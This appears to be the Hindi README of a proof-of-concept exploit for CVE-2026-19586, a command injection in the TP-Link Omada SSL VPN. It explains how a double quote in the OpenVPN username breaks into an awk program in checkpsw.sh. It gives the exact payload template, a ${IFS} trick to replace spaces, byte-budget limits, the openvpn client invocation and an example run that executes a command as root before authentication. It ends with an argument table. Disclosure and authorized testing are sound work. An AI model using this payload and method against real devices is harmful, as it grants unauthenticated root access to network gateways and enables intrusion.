
Python PoC जो CVE-2026-19586 का उपयोग करता है, TP-Link Omada SSL VPN में एक unauthenticated command injection है जो OpenVPN username injection के माध्यम से root के रूप में मनमाने कमांड निष्पादित करता है।
TP-Link Omada SSL VPN अनधिकृत RCE (CVE-2026-19586)
TP-Link Omada गेटवे फर्मवेयर के SSL VPN प्रमाणीकरण पथ में एक कमांड इंजेक्शन भेद्यता (CWE-78) एक अनधिकृत हमलावर को root के रूप में मनमाने कमांड निष्पादित करने की अनुमति देती है। जब OpenVPN-आधारित SSL VPN सर्वर सक्षम होता है, तो OpenVPN कनेक्टिंग क्लाइंट द्वारा सबमिट किए गए उपयोगकर्ता नाम को /usr/sbin/checkpsw.sh को पास करता है, जो स्क्रिप्ट auth-user-pass-verify निर्देश से जुड़ी है। वह स्क्रिप्ट उपयोगकर्ता नाम को बिना उद्धरण के एक awk प्रोग्राम में जोड़ देती है, इसलिए एक डबल कोट युक्त उपयोगकर्ता नाम उस awk स्ट्रिंग लिटरल को बंद कर देता है जिसमें वह पेस्ट किया गया है और शेष भाग awk स्रोत के रूप में पार्स होता है।
एक awk BEGIN ब्लॉक इनपुट की पहली पंक्ति पढ़े जाने से पहले एक बार चलता है, इसलिए इंजेक्ट किया गया system() कॉल सबमिट किए गए पासवर्ड की किसी भी चीज़ से तुलना होने से पहले root के रूप में निष्पादित होता है।
सर्वर को किसी क्लाइंट प्रमाणपत्र की आवश्यकता नहीं होती और इसमें कोई tls-auth या tls-crypt कुंजी नहीं होती, और इसका CA प्रमाणपत्र फर्मवेयर इमेज में हार्डकोडेड होता है। इस रिपॉजिटरी में ca.crt वही प्रमाणपत्र है, और प्रभावित फर्मवेयर चलाने वाले प्रत्येक डिवाइस पर समान है, इसलिए कोई भी हमलावर जो VPN पोर्ट तक पहुंच सकता है, बिना किसी क्रेडेंशियल और डिवाइस तक पूर्व पहुंच के TLS हैंडशेक पूरा कर सकता है और इंजेक्शन तक पहुंच सकता है।
उपयोगकर्ता नाम में शाब्दिक स्पेस नहीं हो सकते, क्योंकि शेल बिना उद्धरण वाले विस्तार को awk के देखने से पहले अलग-अलग आर्गुमेंट में विभाजित कर देता है। उनके स्थान पर ${IFS} का उपयोग करें, जिसे system() द्वारा आह्वान किया गया शेल वापस एक स्पेस में विस्तारित करता है। OpenVPN उपयोगकर्ता नाम को 128 बाइट्स तक सीमित करता है; पेलोड स्कैफोल्ड उनमें से 22 का उपयोग करता है, कमांड के लिए 106 छोड़ता है।
यह Proof of Concept (PoC) TP-Link Omada ER7212PC v2 (फर्मवेयर 6.1.0.19) के विरुद्ध परीक्षण किया गया था। भेद्य स्क्रिप्ट Omada गेटवे लाइन में साझा है; अन्य मॉडल या फर्मवेयर संस्करणों पर पथ, पंक्ति संख्याएं और व्यवहार भिन्न हो सकते हैं।
यह PoC एक उपयोगकर्ता नाम पेलोड वितरित करता है जो लक्ष्य डिवाइस पर root के रूप में निष्पादित होता है। यह समस्या TP-Link को रिपोर्ट की गई थी और सलाह में सूचीबद्ध फर्मवेयर संस्करणों में ठीक की गई थी; इसे उस हार्डवेयर के विरुद्ध चलाएं जिसका आप स्वामी हैं या जिसका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।
$ sudo python3 cve-2026-19586.py <target> -c '<command>'
openvpn क्लाइंट आवश्यक है, और इसे root के रूप में चलाया जाना चाहिए, क्योंकि tun डिवाइस बनाने के लिए इसे CAP_NET_ADMIN की आवश्यकता होती है। यह स्थानीय OpenVPN क्लाइंट की आवश्यकता है, लक्ष्य की नहीं।
उदाहरण रन:
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
Target : 10.0.0.100:1194/udp
CA cert : ca.crt
Command : id>/tmp/proof
Username : x";BEGIN{system("id>/tmp/proof")};#
[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3
[openvpn client output]
कमांड प्रमाणीकरण पूरा होने से पहले डिवाइस पर चलता है, इसलिए OpenVPN क्लाइंट स्वयं कनेक्ट नहीं होगा। प्रमाणीकरण प्रयास विफल हो जाता है और क्लाइंट बाहर निकल जाता है, जो अपेक्षित है।
| आर्गुमेंट | विवरण |
|---|
target | लक्ष्य डिवाइस IP या होस्टनाम |
-c, --command | लक्ष्य पर root के रूप में चलाने के लिए कमांड। स्पेस के स्थान पर ${IFS} का उपयोग करें |
-p, --port | SSL VPN UDP पोर्ट (डिफ़ॉल्ट: 1194) |
--ca | फर्मवेयर से निकाला गया CA प्रमाणपत्र (डिफ़ॉल्ट: ca.crt) |